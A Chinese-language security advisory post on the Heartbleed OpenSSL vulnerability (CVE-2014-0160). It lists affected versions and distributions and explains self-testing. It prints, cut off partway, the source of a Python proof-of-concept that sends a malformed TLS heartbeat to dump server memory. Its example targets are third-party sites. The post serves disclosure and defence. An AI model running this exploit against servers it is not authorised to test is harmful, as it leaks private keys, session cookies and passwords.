OpenSSL 今天公告了一個極度嚴重的漏洞(CVE-2014-0160),被稱為「Heartbleed」,而他確實也如同心臟噴出血般嚴重。這個漏洞能讓攻擊者從伺服器記憶體中讀取 64 KB 的資料,利用傳送 heartbeat 的封包給伺服器,在封包中控制變數導致 memcpy 函數複製錯誤的記憶體資料,因而擷取記憶體中可能存在的機敏資料。記憶體中最嚴重可能包含 ssl private key、session cookie、使用者密碼等,因此可能因為這樣的漏洞導致伺服器遭到入侵或取得使用者帳號。詳細的分析可以參閱 existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug
- 軟體名稱:OpenSSL
- 影響範圍:1.0.1 至 1.0.1f / 1.0.2-beta ~ 1.0.2-beta1
- 修復版本:1.0.1g / 1.0.2-beta2
- 影響系統版本
- Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
- Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
- CentOS 6.5, OpenSSL 1.0.1e-15
- Fedora 18, OpenSSL 1.0.1e-4
- OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
- FreeBSD 10.0 – OpenSSL 1.0.1e 11 Feb 2013
- NetBSD 5.0.2 (OpenSSL 1.0.1e)
- OpenSUSE 12.2 (OpenSSL 1.0.1c)
- 影響服務:HTTP、SMTPS、IMAPS、POP3S 等使用 OpenSSL 之服務
OpenSSL 的公告如下:https://www.openssl.org/news/secadv_20140407.txt
A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server. Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.
如何自我檢測?
要如何測試自己的網站有沒有這樣的漏洞呢?可以利用以下的網站或工具直接查詢。
- Heartbleed test http://filippo.io/Heartbleed/
直接輸入 Domain 即可查詢,例如「fbi.gov」。
使用方法直接執行「python ssltest.py ifttt.com」,或是用「-p」指定特定 SSL 連接埠。畫面上會顯示出記憶體資料,可能內含機敏資料例如 private key、session cookie 等。
原始碼如下:
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay =